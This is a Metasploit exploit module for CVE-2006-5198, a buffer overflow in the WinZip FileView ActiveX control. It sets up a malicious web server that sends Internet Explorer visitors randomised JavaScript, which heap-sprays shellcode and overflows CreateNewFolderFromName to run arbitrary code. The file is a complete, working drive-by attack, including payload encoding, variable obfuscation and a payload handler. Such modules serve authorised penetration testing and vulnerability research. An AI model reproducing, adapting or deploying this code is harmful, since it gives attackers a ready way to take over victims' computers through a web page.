##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #  :ua_name    => HttpClients::IE,
  #  :javascript => true,
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :classid    => '{A09AE68F-B14D-43ED-B713-BA413F034904}',
  #  :method     => 'CreateNewFolderFromName',
  #  :rank       => NormalRanking  # reliable memory corruption
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow',
      'Description'    => %q{
          The FileView ActiveX control (WZFILEVIEW.FileViewCtrl.61) could allow a
        remote attacker to execute arbitrary code on the system. The control contains
        several unsafe methods and is marked safe for scripting and safe for initialization.
        A remote attacker could exploit this vulnerability to execute arbitrary code on the
        victim system. WinZip 10.0 <= Build 6667 are vulnerable.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'dean <dean[at]zerodaysolutions.com>' ],
      'References'     =>
        [
          [ 'CVE','2006-5198' ],
          [ 'OSVDB', '30433' ],
          [ 'BID','21060' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP2/ IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0c0c0c0c } ]
        ],
      'DisclosureDate' => 'Nov 2 2007',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Set the return.
    ret    = Rex::Text.uri_encode([target.ret].pack('L'))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)
    boom   = rand_text_alpha(rand(100) + 1)

    content = %Q|
      <html>
        <object id='#{vname}' classid='clsid:A09AE68F-B14D-43ED-B713-BA413F034904'></object>
        <script language="JavaScript">
        function #{boom}() {
        var #{rand1} = unescape('#{shellcode}');
        var #{rand2} = unescape('#{ret}');
        var #{rand3} = 20;
        var #{rand4} = #{rand3} + #{rand1}.length;
        while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
        var #{rand5} = #{rand2}.substring(0,#{rand4});
        var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
        while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
        var #{rand7} = new Array();
        for (#{var_i} = 0; #{var_i} < 800; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
        var #{rand8} = "A";
        for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + #{rand2} }
        #{vname}.CreateNewFolderFromName(#{rand8});
        }
        if ((typeof #{vname}.CreateNewFolderFromName) != "undefined") {
          #{boom}();
        }
        </script>
      </html>
      |

    print_status("Sending exploit HTML...")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
